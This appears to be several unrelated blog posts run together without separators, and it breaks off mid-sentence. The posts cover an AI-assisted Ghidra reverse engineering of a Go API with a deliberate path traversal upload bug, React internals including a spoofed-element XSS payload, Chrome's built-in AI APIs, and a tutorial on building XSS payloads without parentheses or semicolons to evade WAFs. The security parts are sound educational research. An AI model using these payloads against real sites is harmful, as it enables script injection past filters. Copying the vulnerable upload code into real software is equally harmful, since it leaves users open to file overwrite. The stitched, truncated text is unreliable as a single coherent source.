package handlersimport (  "database/sql"  "net/http"  "path/filepath"  "github.com/gin-gonic/gin"  "membership-api/config"  "membership-api/middleware")type AvatarHandler struct {  DB *sql.DB}func NewAvatarHandler(db *sql.DB) *AvatarHandler {  return &AvatarHandler{DB: db}}func (h *AvatarHandler) Upload(c *gin.Context) {  userID, ok := middleware.GetUserID(c)  if !ok {    c.JSON(http.StatusUnauthorized, gin.H{"error": "unauthorized"})    return  }  file, err := c.FormFile("avatar")  if err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "missing avatar file"})    return  }  savePath := filepath.Join(config.UploadDir, file.Filename)  if err := c.SaveUploadedFile(file, savePath); err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to save file"})    return  }  _, err = h.DB.Exec("UPDATE users SET avatar_path = ? WHERE id = ?", file.Filename, userID)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to update avatar"})    return  }  c.JSON(http.StatusOK, gin.H{"message": "avatar uploaded", "path": file.Filename})}

After writing it, I used this command to build it, removing everything that shouldn’t be there to simulate a more realistic scenario:

CGO_ENABLED=0 go build -ldflags="-s -w" -trimpath -o dist/membership-api .

Preliminary Work

Since our binary is stripped, all related symbols have been removed. Therefore, finding a useful plugin can help us restore Golang-related information more conveniently. I chose this one: https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension

When analyzing, remember to check the relevant options:

After the analysis, you can actually see more detailed information in Ghidra:

But this still requires manual inspection. For someone like me who doesn’t know how to operate Ghidra, I just throw the binary in and don’t know how to look at it.

So, we need to install something that truly connects AI with Ghidra: GhidraMCP. There seem to be about two or three versions that many people use, so I randomly picked one that looked like it had better documentation and was easier to run.

After installation and enabling it in Ghidra, configure MCP on the AI side. For example, I’m using Cursor, so I set it up like this:

{  "mcpServers": {    "ghidra": {      "command": "python",      "args": [        "/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py",        "--ghidra-server",        "http://127.0.0.1:8080/"      ]    }  }}

Up to this point, the preliminary work is ready.

By the way, I used Cursor for demonstration, but actually, any AI agent will do. Whether you use Codex, Claude Code, Open Code, or whatever, as long as it can connect to MCP, it’s fine.

Start Commanding the AI Agent to Work

Next, it’s time to reverse engineer using my words. I just told it this:

I am currently reverse engineering a Golang binary. Please help me use Ghidra MCP to assist and let me know what kind of program it is and what functions it has.

It will start calling MCP by itself and searching for what it wants:

Here is the translated content:

Finally, here are the libraries used by this binary:

And the API routes:

And the inferred file structure:

Next, I let it help me convert the decompiled C back to Golang based on the inferred structure. It listed a few todos and then started its work:

As a result, the routes.go it reverse-engineered looks like this:

package routesimport (  "database/sql"  "github.com/gin-gonic/gin"  "membership-api/handlers"  "membership-api/middleware")func Setup(db *sql.DB) *gin.Engine {  r := gin.Default()  authHandler := &handlers.AuthHandler{DB: db}  userHandler := &handlers.UserHandler{DB: db}  avatarHandler := &handlers.AvatarHandler{DB: db, UploadPath: "uploads"}  api := r.Group("/api")  {    api.POST("/register", authHandler.Register)    api.POST("/login", authHandler.Login)  }  apiAuth := r.Group("/api")  apiAuth.Use(middleware.AuthMiddleware())  {    apiAuth.GET("/users/:id", userHandler.GetUserByID)    apiAuth.GET("/my-messages", userHandler.GetMyMessages)    apiAuth.POST("/avatar", avatarHandler.Upload)  }  return r}

The structure of the code is slightly different from the original, indicating that there was no cheating (?). By the way, I had it run under different contexts, so it indeed could not see the original Golang source code.

In any case, the reverse-engineered code is clear and readable, but there are a few small errors. For example, /my-messages does not exist; it should be /me/messages. /avatar should also be /me/avatar. It seems some parts were skipped lazily.

The registration part looks like this:

func (h *AuthHandler) Register(c *gin.Context) {  var req RegisterRequest  if err := c.ShouldBindJSON(&req); err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})    return  }  hashedPassword, err := bcrypt.GenerateFromPassword([]byte(req.Password), 10)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to hash password"})    return  }  query := `INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`  _, err = h.DB.ExecContext(c.Request.Context(), query, req.Username, req.Email, string(hashedPassword))  if err != nil {    c.JSON(http.StatusConflict, gin.H{"error": "username or email already exists"})    return  }  c.JSON(http.StatusCreated, gin.H{"message": "registration successful"})}

The part that was intentionally left for SQL injection has now been fixed, indicating that what it reverse-engineered is incorrect.

However, the path traversal vulnerability during file upload still exists, and it was easily identified:

The above results were generated using the Cursor’s own composer 1.5 model because I was running out of quota, which is not as smart.

After switching to Opus 4.6, with the same prompt, it not only restored the code but also performed a security check, identifying the vulnerabilities that needed to be found. However, the route part still has errors; /me became /my. I thought these should be completely restored?

Conclusion

Thanks to the evolution of AI agents and the MCP mechanism, agents can freely operate many different software to assist in automation.

Honestly, I experienced the joy of those so-called vibe coders when creating products during this reverse engineering process, which is: “I didn’t expect that I, who can’t write code, could also create a website, even though I don’t understand the principles, but it seems like something was made.”

However, vibe coding can lead to many small issues that someone who can’t write code might not discover, and relying solely on AI for reverse engineering is likely the same. Just like when I initially used composer 1.5, the results were incorrect. But thinking from another perspective, the overall process and API endpoints are correct, which is quite a gain.

Originally, relying on myself would score 0 points, but with AI, I can at least secure 60 points, which feels like a win.

The times are evolving, and tools are improving. This article aims to document my process of using these tools and AI agents for simple reverse engineering. Although the final results still have some minor errors, for a web server, the information obtained after reverse engineering the binary can be combined with dynamic testing for validation. Even with some small errors, it is still very helpful for overall testing.

After this run, I still feel that reverse engineering is very difficult, and I still think that those who understand reverse engineering are impressive. After all, I was working with a small binary; I’m not sure what would happen with a larger one.

I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.

This article is divided into three small sections:

1. XSS Vulnerabilities in Older Versions of React
2. Learning the Event Loop from React Fiber
3. Learning Underlying Mechanics from V8 Bugs

XSS Vulnerabilities in Older Versions of React

What security issues can you find in the following code?

function Test() {  const name = qs.parse(location.search).name;  return (    <div className="text-red">      <h1>{name}</h1>    </div>  )}

At first glance, it seems there’s no problem, right? Isn’t it just rendering a name? In React, it automatically encodes, so even if an <img> is inserted, it won’t be parsed as a tag but will be converted to plain text, which seems fine.

If we continue to expand this code, transforming JSX into JavaScript, it would look something like this:

function Test() {  const name = qs.parse(location.search).name;  return createElement(    'div',    { className: 'text-red' },    createElement(      'h1',      {},      name    )  )}

JSX syntax is converted back to JavaScript during compilation. The old version uses React.createElement, while the new version has changed to _jsx, but regardless of how the API looks, it’s essentially a piece of JavaScript that creates an element.

After these functions are executed, they produce what is known as the virtual DOM. If we expand it into an object, it would look like this:

function Test() {  const name = qs.parse(location.search).name;  return ({    type: 'div',    props: {      className: 'text-red',      children: {        type: 'h1',        props: {          children: name        }      }    }  })}

When React renders, it will render based on this object and display the name we passed in.

But the problem arises: libraries like qs actually support objects. For example, ?name[test]=1 would make name become {"test": 1}. Therefore, although this name should appear to be a string, it can actually be an object.

Even though passing objects is usually blocked by React, have you ever thought that these components are also objects? So how does React determine whether an object is a component?

In older versions of React, this check is very simple:

ReactElement.isValidElement = function(object) {  return !!(    typeof object === 'object' &&    object !== null &&    'type' in object &&    'props' in object  )}

As long as there is a type and props, it is considered a React component. Therefore, if our name looks like this:

{  type: "div",  props: {    dangerouslySetInnerHTML: {      __html: "<img src=x onerror=alert()>"    }  }}

It would be treated as a React component and rendered accordingly.

In this way, this feature is successfully exploited to pretend to be a React component and render arbitrary HTML, creating an XSS vulnerability.

This vulnerability was first discovered by Daniel LeCheminan in 2015, who wrote an article: XSS via a spoofed React element, although the context in the original text is slightly different.

In summary, this issue caught React’s attention, leading to a discussion in an issue: How Much XSS Vulnerability Protection is React Responsible For? #3473, and the final fix can be found here: Use a Symbol to tag every ReactElement #4832.

The solution is: Symbol.

By adding a $$typeof: Symbol.for('react.element') to the React component and including this check in isValidElement, we can ensure that other objects cannot forge a React component.

The underlying principle is the characteristic of symbols; unlike regular objects, a symbol is only equal to the same symbol, and JSON deserialization does not support symbols. Therefore, you can only create ordinary objects and cannot create a symbol, which naturally prevents the forgery of components.

In the future, if someone asks you where symbols can be used, you can use this case as an answer.

Additionally, this is not only applicable to the frontend; the backend is the same. For example, in older versions of JavaScript ORM: Sequelize, operators were also represented as strings, such as:

Post.findAll({  where: {    authorId: {      '$or': [12, 13]    }  }});

However, starting from v5, they have all been replaced with symbols, and the original strings have been deprecated:

const { Op } = require('sequelize');Post.findAll({  where: {    authorId: {      [Op.or]: [12, 13]    }  }});// operators.tsexport const Op: OpTypes = {  eq: Symbol.for('eq'),  ne: Symbol.for('ne'),  gte: Symbol.for('gte'),  or: Symbol.for('or'),  // [...]}

The underlying reason is the same, which is a consideration for information security. The original PR can be found here: Secure operators #8240.

By the way, during a live stream, someone asked, if you can create a symbol, does that mean these defenses are useless? The answer is: yes. But usually, to create a symbol, either you already have the ability to execute code, or the developer needs to add a deserializer that can create symbols, both of which are quite difficult to achieve.

Learning Event Loop from React Fiber

In 2018, I wrote an article related to React Fiber: A Brief Discussion on React Fiber and Its Impact on Lifecycles, and the mechanism can be summed up as: “breaking large synchronous tasks into multiple asynchronous small tasks” to avoid blocking the main thread.

So how can this mechanism be implemented in JavaScript? How should these asynchronous tasks be scheduled?

React 16.0.0 - requestIdleCallback

In the earliest version of React 16.0.0, it used the browser’s built-in API: requestIdleCallback. The MDN description is:

The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.

After breaking the original large task into smaller tasks, requestIdleCallback is used to schedule the next task, allowing the browser to execute it when idle, thus not blocking the main thread.

React 16.4.0 - requestAnimationFrame + postMessage

However, in React 16.4.0, it was replaced with a combination of requestAnimationFrame (hereafter referred to as rAF) and postMessage (this method was initially intended as a fallback for when requestIdleCallback was not available, but in this version, it was promoted and directly replaced requestIdleCallback).

In this mechanism, two types of callbacks are created: one is a callback scheduled using rAF, which is automatically triggered by the browser, and the other is a callback scheduled using window.addEventListener('message', fn), triggered through window.postMessage.

The actual operation of this mechanism works like this: each tick below represents one event loop. We first schedule an rAF, and within it, calculate the time when the next rAF should be triggered (which is the current time + frame length, e.g., 16ms):

Next, call rAF and postMessage again inside to schedule the callback for the next tick:

The next step is browser render. After it finishes, it enters the next tick, and then the message handler is triggered:

Since the time for the next rAF to be triggered has already been calculated, the message handler can take advantage of this time (which could be around 5ms or longer) to perform tasks, executing small tasks continuously before the time is up.

After execution, rAF will be triggered again, doing the same thing as before, scheduling the callback for the next tick, and then browser render, ending this tick:

This process continues to execute, which is the entire asynchronous task scheduling mechanism. In simple terms, it is:

1. Calculate how much time can be spent executing tasks without interfering with rendering in rAF.
2. Execute tasks as much as possible in the message handler.

In the React source code, rAF is referred to as Animation Tick, while the message handler is called Idle Tick.

So why use postMessage and message handler? The reason is that if you use setTimeout(fn, 0), there is a classic 4ms limitation. If you keep using setTimeout to schedule tasks, after a few recursive arrangements, the shortest execution interval will become 4ms, regardless of how much you set the interval.

On the other hand, postMessage and message handler do not have this limitation, which is why this approach was chosen.

However, there is a downside to using the message handler, which is that the current usage is window.addEventListener('message', fn), so every time a task is scheduled, window.postMessage must be used. If there are other listeners on the page, it will be triggered repeatedly.

For example, some extensions might print out all received messages to help with debugging, potentially receiving one every 30ms, which could flood the logs. Such side-effect behavior is clearly not ideal and can interfere with other implementations.

React 16.7.0 - requestAnimationFrame + MessageChannel

Starting from React 16.7.0, this part was changed to use MessageChannel, which is another Web API for message exchange. Its usage is quite similar to the original, just with the added concept of a port:

// DOM and Worker environments.// We prefer MessageChannel because of the 4ms setTimeout clamping.const channel = new MessageChannel();const port = channel.port2;channel.port1.onmessage = performWorkUntilDeadline;schedulePerformWorkUntilDeadline = () => {  port.postMessage(null);};

In the comments of the code, you can also see why React does not use setTimeout, which is the same reason I just mentioned. The PR for this change is here: [scheduler] Post to MessageChannel instead of window #14234.

It seems like that’s it? This mechanism is quite reasonable, using two different types of asynchronous tasks to do different things while trying to perform tasks without interfering with rendering.

React 16.12.0 - MessageChannel

However, in React 16.12.0, the mechanism changed again, removing rAF and leaving only MessageChannel, executing for a maximum of 5ms each time:

So why switch to this mechanism? There are two places that explain it. The first is the code in 16.12.0:

// Scheduler periodically yields in case there is other work on the main// thread, like user events. By default, it yields multiple times per frame.// It does not attempt to align with frame boundaries, since most tasks don't// need to be frame aligned; for those that do, use requestAnimationFrame.let yieldInterval = 5;

The main idea is that since the task does not need to align with the rendering of the screen, it ignores rendering and just keeps yielding.

The second explanation is from the issue Concurrency / time-slicing by default #21662, where someone asked if the scheduler was still using requestIdleCallback. Dan’s comment was:

No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.

This clarifies why requestIdleCallback was eliminated at the beginning, because it fired too late.

So how is the implementation in the latest version v19.2.0?

From the code, it can be seen that it is basically the same mechanism as above, with not much change. It still uses MessageChannel to schedule tasks and yields every so often.

In the Near Future: Native Scheduler API

In fact, the Scheduler is not just for React; it is used whenever asynchronous task scheduling is needed. Therefore, browsers actually provide a native Scheduler API, but it is still new and not well supported. However, it can be anticipated that in the future, there may be no need to write a custom implementation, as using the native browser API would be the best option.

In fact, React is already using this to implement a set, but it is still in an unstable state: SchedulerPostTask.js. The native API directly supports scheduling tasks with different priorities, which is much more convenient than writing it yourself.

In summary, from React’s code for scheduling asynchronous tasks, we can learn about the differences in timing and frequency of triggering different functions. We can also understand why React made such choices through these changes in mechanisms, allowing us to better grasp the nuances of these asynchronous details.

Learning About Underlying Operations from V8 Bug

Continuing from the earlier discussion about React fiber, there is a section related to the profiler in the code:

if (enableProfilerTimer) {  this.actualDuration = -0;  this.actualStartTime = -1.1;  this.selfBaseDuration = -0;  this.treeBaseDuration = -0;}

The question arises: why is the initial value here -0 instead of 0? What is the difference between these two?

In even older versions, it was first assigned as NaN before becoming 0. What kind of magic is this?

if (enableProfilerTimer) {    this.actualDuration = Number.NaN;  this.actualStartTime = Number.NaN;  this.selfBaseDuration = Number.NaN;  this.treeBaseDuration = Number.NaN;    this.actualDuration = 0;  this.actualStartTime = -1;  this.selfBaseDuration = 0;  this.treeBaseDuration = 0;}

All of this is related to the underlying operations of V8 and a bug.

Regarding this matter, V8 itself has a blog post: The story of a V8 performance cliff in React, which explains it very well. Please read this article yourself or look at it with AI; I won’t repeat it here, and will only mention the conclusions and key points below.

First of all, although we all know that in the JavaScript specification, all numbers are doubles, the JavaScript engine does not necessarily implement it that way. After all, if every number were stored as a 64-bit double, there would be both space and performance issues, and integer addition and subtraction would also be floating-point operations, which is unbearable.

Therefore, in the V8 engine, numbers are actually divided into two types: one is a 32-bit int called a small integer, abbreviated as Smi, and the other is truly a floating-point number, called HeapNumber. The two types are stored in different locations, with floating-point numbers needing to be stored in the heap.

To optimize objects, they are associated with something called a shape when stored, similar to the metadata of the object, which stores the type and offset of each value. Similarly, objects of the same interface will share the same shape.

When the type of an object value changes, this shape will also change. For example, if it changes from Smi to double, a new shape will be created.

The bug in V8 can be simply described as follows: in the React profiler, certain values are initially initialized to 0, with the type being Smi. Then, Object.preventExtensions is used to prevent new properties from being added, and this value is changed to a floating-point number (the return value of performance.now()).

This behavior causes V8 to break, as it does not know how to handle the change in shape, resulting in the creation of an entirely new shape. Moreover, this issue is not limited to just one object; all similar objects cannot share the shape and instead each have their own.

Although most people may not notice this underlying difference, when React is tested with a large number of nodes, the difference becomes apparent as the base increases, evolving into a performance issue.

Although V8 has fixed the bug, so this issue no longer exists, React has also made a fix. For instance, the NaN mentioned earlier is set to NaN because it is fundamentally a floating-point number rather than Smi. The current version being -0 is for the same reason; -0 is a floating-point number, while 0 is Smi.

When both the initial value and the subsequent value are floating-point numbers, there will be no issue with the change in shape, and thus the V8 bug will not be encountered.

However, have you ever thought about how to determine that NaN and -0 are floating-point numbers?

Looking at Underlying Types from V8 Bytecode

Aside from translating specifications, compiling code into V8 bytecode is actually a good method. For example, consider the following function:

function test(x) {  return x === 0;}function AAAAA () {  test(0);  test(-0);  test(3);  test(0/0); // NaN}AAAAA()

After compiling with the command node --print-bytecode test.js > out, the result is:

[generated bytecode for function: AAAAA (0x31bb2f7de971 <SharedFunctionInfo AAAAA>)]Bytecode length: 41Parameter count 1Register count 2Frame size 16Bytecode age: 0   62 S> 0x31bb2f7df776 @    0 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df778 @    2 : c4                Star0         0x31bb2f7df779 @    3 : 0c                LdaZero         0x31bb2f7df77a @    4 : c3                Star1   62 E> 0x31bb2f7df77b @    5 : 62 fa f9 00       CallUndefinedReceiver1 r0, r1, [0]   73 S> 0x31bb2f7df77f @    9 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df781 @   11 : c4                Star0         0x31bb2f7df782 @   12 : 13 00             LdaConstant [0]         0x31bb2f7df784 @   14 : c3                Star1   73 E> 0x31bb2f7df785 @   15 : 62 fa f9 02       CallUndefinedReceiver1 r0, r1, [2]   85 S> 0x31bb2f7df789 @   19 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df78b @   21 : c4                Star0         0x31bb2f7df78c @   22 : 0d 03             LdaSmi [3]         0x31bb2f7df78e @   24 : c3                Star1   85 E> 0x31bb2f7df78f @   25 : 62 fa f9 04       CallUndefinedReceiver1 r0, r1, [4]   96 S> 0x31bb2f7df793 @   29 : 17 02             LdaImmutableCurrentContextSlot [2]         0x31bb2f7df795 @   31 : c4                Star0         0x31bb2f7df796 @   32 : 13 01             LdaConstant [1]         0x31bb2f7df798 @   34 : c3                Star1   96 E> 0x31bb2f7df799 @   35 : 62 fa f9 06       CallUndefinedReceiver1 r0, r1, [6]         0x31bb2f7df79d @   39 : 0e                LdaUndefined  114 S> 0x31bb2f7df79e @   40 : a9                ReturnConstant pool (size = 2)0x31bb2f7df711: [FixedArray] in OldSpace - map: 0x3bc7231c0211 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x31bb2f7df731 <HeapNumber -0.0>           1: 0x3bc7231c0561 <HeapNumber nan>Handler Table (size = 0)Source Position Table (size = 21)0x31bb2f7df7a1 <ByteArray[21]>

You can see that 3 is directly LdaSmi, indicating it is Smi, while -0 and NaN are LdaConstant, loaded from the constant pool, which contains:

Constant pool (size = 2)0x31bb2f7df711: [FixedArray] in OldSpace - map: 0x3bc7231c0211 <Map(FIXED_ARRAY_TYPE)> - length: 2           0: 0x31bb2f7df731 <HeapNumber -0.0>           1: 0x3bc7231c0561 <HeapNumber nan>

It is clear that both of these are heap numbers and do not belong to Smi.

From a theoretical perspective, NaN cannot be Smi because NaN is defined in IEEE 754, and -0 requires the negative sign, which does not exist in int, so it can only be a double.

In any case, if you encounter confusion regarding underlying types in the future, you can compile to bytecode for confirmation; it is straightforward.

Summary

In this article, we learned several things from the React source code:

1. The purpose of Symbol, which can utilize its non-serializable feature to ensure that it cannot be constructed externally.
2. The triggering timing and characteristics of various asynchronous functions such as requestIdleCallback, requestAnimationFrame, MessageChannel, and setTimeout, as well as how React arranges tasks at a lower level.
3. While all JavaScript numbers appear to be 64-bit doubles in specifications, V8 actually differentiates between Smi and double at a lower level, which can be confirmed using bytecode.

Since this extension is open source, my first curiosity was: “Which AI service does it use, and how is the key handled?” After looking at the source code, I found out that it actually uses Chrome’s built-in Web API, not the HTTP API I had assumed.

It was a bit of a late realization for me to discover that there are built-in Web APIs available, so I decided to write a short article to document it.

Chrome’s Built-in AI Related APIs

If you want to watch the official Google video directly, you can refer to this: The future of Chrome Extensions with Gemini in your browser. For a text version, you can check this article: Built-in AI API.

Starting from version 138 (as of writing this article, the latest stable version is 140), Chrome provides three built-in Web APIs:

1. Translator API, for translation
2. Language Detector API, for detecting languages
3. Summarizer API, for summarizing articles

These three APIs require downloading some small models before use, and the overall usage is super simple. Below is an example using the translation feature.

First, you need to check if it’s available and whether you need to download:

const translator = await Translator.create({  sourceLanguage: 'en',  targetLanguage: 'zh-TW',  monitor(m) {    m.addEventListener('downloadprogress', (e) => {      console.log(`Downloaded ${e.loaded * 100}%`);    });  },});

That monitor is used to track the download progress, and for translation, it can be downloaded quite quickly.

Once downloaded, you can translate with just one line of code:

await translator.translate('How are you?');

That’s it, super simple.

However, I tried it out, and the quality of the translation wasn’t very good; it still can’t compare to using a real large LLM model. But having this feature built directly into the Web API is already a significant improvement.

Prompt API

In addition to the three mentioned at the beginning, there are also a few other APIs still in testing, such as the prompt API, which allows you to directly input prompts, similar to using ChatGPT and other APIs. Currently, to use it, you need to apply for an origin trial to get a key. I previously wrote about how to apply: Try New Features Early Through Chrome Origin Trials.

I created a demo website; feel free to check it out. Since the prompt API model is quite large, it’s recommended to download it in a non-mobile network environment, otherwise, the data usage might spike.

Additionally, since this API is still in the testing phase, there may be some issues. At first, I had no problems playing around with it, but later it seemed I hit some bug, and every time I asked the AI, it would cause a system-level panic, causing my entire Mac to crash and restart.

https://aszx87410.github.io/demo/ai/prompt-api.html

The usage of this API is also super simple. The first step is to check availability and download:

await LanguageModel.create({  monitor(m) {    m.addEventListener('downloadprogress', (e) => {      updateProgress(e.loaded);      if (e.loaded >= 1) {        updateStatus('✅ ready', 'available');      }    });  }});

Once downloaded, you can use it:

const session = await LanguageModel.create();const response = await session.prompt('What can you do?');console.log(response)

There are more parameters you can adjust, and it can support more complex conversations; the above is just a very basic example.

Although the model isn’t large and the capabilities are not as extensive as other large models, having a small model that can run locally in the browser can already offload some tasks that would otherwise require an API key.

Now Chrome is also increasingly proactive in packaging small models directly within, providing more native AI features, and in the future, developers can use these Web APIs to develop products without needing to prepare their own backend.

What about other browsers?

The Translation API was officially released with Chrome 138, and Google has set related standards. However, Firefox and Safari are still in very early stages.

Firefox is currently not very satisfied with the API design and has proposed another version. Safari also has some privacy and security considerations regarding the current approach, and it seems there hasn’t been much progress.

As for other more powerful APIs like the Prompt API, Firefox has given a negative response to the current proposal, while there seems to be no news from Safari on that front.

Therefore, the things mentioned in this article are currently only available in Chromium-based browsers like Chrome and Edge. Whether other browsers will catch up in the future remains uncertain.

Conclusion

The integration of various AI with existing products is imperative, and browsers, being applications that users heavily rely on, are a battleground for competition.

For example, Perplexity has launched a Comet Browser, and Chrome is increasingly incorporating built-in AI features.

If AI is not misleading me, the current Prompt API in Chrome uses Gemma, while Edge uses Phi.

As the AI models built into browsers evolve, the capabilities will expand. However, given the current situation, the models that can run locally are definitely very limited, as the available resources are constrained, and their performance is not as good as those large models. But it is worth keeping an eye on the future, as they should continue to evolve.

Therefore, this article will briefly explain these payloads, referencing Gareth Heyes’ two articles:

1. XSS technique without parentheses
2. XSS without parentheses and semi-colons

Why do we need such payloads?

Some might wonder, since we can execute JavaScript, why impose so many restrictions? The biggest reason is: WAF (Web Application Firewall). The most common one is Cloudflare’s WAF, which blocks you at the slightest hint of trouble. Even if you can insert HTML or even execute JavaScript, as long as it contains certain patterns, it will be blocked directly.

Moreover, certain situations may render some characters unusable, and at that point, creativity is needed to find ways to construct executable code without those characters.

Starting with no parentheses

In JavaScript, it seems that to execute a function, parentheses are necessary. So what if we can’t use parentheses?

Tagged template strings

The first method is something some developers may have used but might not think of immediately. Certain JavaScript libraries use template strings to execute functions, such as Postgres.js:

async function getUsersOver(age) {  const users = await sql`    select      name,      age    from users    where age > ${ age }  `  // users = Result [{ name: "Walter", age: 80 }, { name: 'Murray', age: 68 }, ...]  return users}

Those unfamiliar might wonder how this is written; isn’t it an SQL injection vulnerability?

If only template strings were used, then indeed it would be, but note that there is an additional sql at the front, which changes things. It is not just simple string concatenation; it is function execution, which is a JavaScript syntax. You can see the example below:

function test(...args){    console.log(args)}test`Hello ${'huli'}!!!${'good'}~~`// [['Hello ', '!!!', '~~'], 'huli', 'good']

When we add a function at the front, the function’s parameters will receive the fixed parts of the original string and the inserted variables, allowing us to use this information for sanitization to avoid SQL injection. This usage is called tagged template strings.

The final effect is that it looks like a simple string replacement, but behind it is function execution with sanitization, making it safe.

Using this concept, we can write an XSS payload that does not require parentheses:

alert`test`

However, some might ask, if that’s the case, can we only execute alert? Is there a way to execute arbitrary code? For example, if I want to use fetch to POST, I must use the second parameter: fetch(url, { method:'POST'}), and the method above would have the second parameter as an array, causing fetch to throw an error and not run.

To address this issue, we can first use the function constructor to create a function by passing in a string. If you’re not familiar with this, you can read: How to write console.log(1) without using letters and numbers? or Intigriti’s 0521 XSS Challenge Solution: Limited Character Combination Code, but I will briefly introduce it here.

In JavaScript, you can dynamically create a function using new Function(code):

new Function('alert(1)')// anonymous() { alert(1) }

And that new is actually not necessary; you can remove it without any issue. Furthermore, dynamically created functions can accept parameters:

new Function('a', 'alert(a+1)')// anonymous(a) { alert(a+1) }new Function('a', 'b', 'alert(a+b)')// anonymous(a,b) { alert(a+b) }

The last parameter will be treated as the actual code, while the preceding ones will be treated as function parameters, and it will return the created function.

Therefore, we can use this point in conjunction with the tagged templates mentioned earlier to create a function from a string:

Function`alert(1)`// anonymous() { alert(1) }

So how do we execute this created function? It’s simple; just use the same method again:

// Add two backticks at the end, just like the previously mentioned alert`1` usage// Added an extra space to avoid Markdown parser issues, but it works the same either wayFunction`alert(1)` ``

Since alert(1) inside is a string, the parentheses can be directly replaced with unicode, which is also a valid string representation, resulting in:

// it's actually just alert(1)Function`alert\u00281\u0029` ``

This way, the entire payload does not use any parentheses but can still execute arbitrary code!

This approach utilizes the first parameter when executing the template, which is the fixed part, but we can also use the subsequent parameters. For example:

function test(a, b){    console.log(a) // ['_', '']    console.log(b) // hello}test`_${'hello'}`

When we pass both a fixed string and parameters simultaneously, the first parameter is all the fixed parts, as mentioned earlier, while the second parameter is our dynamically passed variable hello.

Using the method above to create a function, as previously mentioned, the last parameter will be treated as the function body:

Function`_${'hello'}`// anonymous(_,) { hello }

Thus, this hello is the part we can control. Since it is dynamically passed, there are many ways to play with it, which can be combined with places we can control on the website. For example, location.hash returns the hash from the URL like #test, and by adding slice(1), we can remove the preceding #, combined it becomes:

// start from thisFunction`_${'hello'}`// then using location.hash.slice(1)Function`_${location.hash.slice(1)}`// replace slice(1) with ``Function`_${location.hash.slice`1`}`// add `` to run the function// remember to set the hash to #alert(1)Function`_${location.hash.slice`1`}` ``

This constructs a payload that does not require parentheses but can execute arbitrary code, placing the actual string to be executed in the hash and dynamically executing the code in the hash.

onerror Event

All the previous writing has not yet gotten to the main point; the original discovery mentioned at the beginning is another more clever method.

In a browser environment, by using window.onerror, we can receive all uncaught error events:

onerror = (err) => console.log('Err:' + err.toString())throw 'hello';// Err:Uncaught hello

By the way, the above code will not work if executed directly in DevTools (the reason is mentioned in the original post; errors will not be thrown to onerror when executed directly in the console), so please open an HTML to test.

In short, the above code tells us that in Chrome, the captured error message will be Uncaught hello.

So what if we directly replace onerror with alert?

onerror = alert;throw 'hello';

You will directly see a popup saying Uncaught hello. The above payload does not use any parentheses and achieves the purpose of executing a function.

Further extending this, we can replace onerror with eval, treating the error message as JavaScript code to execute, but the problem is how to construct valid code after replacing it with eval?

Since the captured error message will be: Uncaught {payload}, this entire sentence will be treated as code to execute, so as long as we replace the payload with: =alert(1), the whole sentence becomes: Uncaught=alert(1), using Uncaught in the error message as a variable, thus forming valid code:

onerror = eval;throw '=alert(1)';

If you still don’t understand the principle, replacing eval with console.log makes it very clear:

onerror = console.log;throw '=alert(1)';// Uncaught =alert(1)

Next, since the string follows throw, we can also use encoding to replace it, using \x28 or \u0028 will work:

onerror = eval;throw '=alert\x281\u0029';

This constructs a payload that does not require parentheses.

Further Eliminating Semicolons

Tagged template strings no longer require semicolons, so let’s continue along the path of onerror to see how to eliminate semicolons.

A simple and intuitive idea is to just use a comma (for convenience, I’ll use alert below):

onerror=alert,throw 1;

But after running it, you’ll find an error: Uncaught SyntaxError: Unexpected token 'throw'. This is because throw is not an expression but a statement, so it cannot be placed after a comma; we need another method.

In JavaScript, even if you don’t use if or other code that requires a block, you can create your own block to wrap the code:

{  let a = 1;  console.log(a)}

This is indeed used in development (though not often), and its purpose is to deliberately create a block and use the let or const keywords, allowing variables to only exist within that block.

By utilizing a block, you can achieve the goal of separating code without needing semicolons:

{onerror=alert}throw 1

In addition to using blocks, there are other cooler methods.

First, let’s talk about the use of commas in JavaScript. Basically, it concatenates several expressions and returns the result of the last one, such as:

if (console.log(1), alert(1), true) {    console.log(true)} else {    console.log(false)}// 1// true

The expressions in if will sequentially execute console.log(1), alert(1), and finally return true, so the result of the if is valid, printing true.

And throw can be followed by an expression, so you can:

throw onerror=alert,1

This will first execute onerror=alert, then execute throw 1, achieving the same effect as our method using {}. This is another way that doesn’t require semicolons.

The Chrome part ends here; the following is all efforts made for Firefox.

In Firefox, when there is an error, the format of the error message is different:

onerror=alert;throw 1;// uncaught exception: 1

Under this error message, it’s impossible to construct valid code, and the previous suggestion of replacing onerror with eval no longer works.

So Gareth Heyes continued to dig deeper and discovered two things. The first is that if you throw an Error instead of a string, the error message won’t have those annoying prefixes, leaving just Error::

onerror=alert;throw new Error(1);// Error: 1

Since Label: is valid code in JavaScript, you can directly place code after it, making it easy:

onerror=eval;throw new Error('alert(1)');

However, using Error() introduces parentheses, and Gareth Heyes’ second discovery is that in Firefox, you can throw an error-like object to achieve the same effect:

onerror=eval;throw {lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'};

In summary, all of these efforts are to control the final error message produced by Firefox. As long as you can control it, you can construct valid code to pass to eval for execution.

Recently, I saw Gareth Heyes tweet that Firefox is going to remove this feature: Firefox removed support for throwing error-like objects, so he found a new method:

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x

It seems that if you want to create a new Error, you can do it without parentheses. After creating an Error object, you can set the message, and you can still control the error message.

Other payloads

There are other payloads mentioned by others in the original post.

The first one comes from @terjanq:

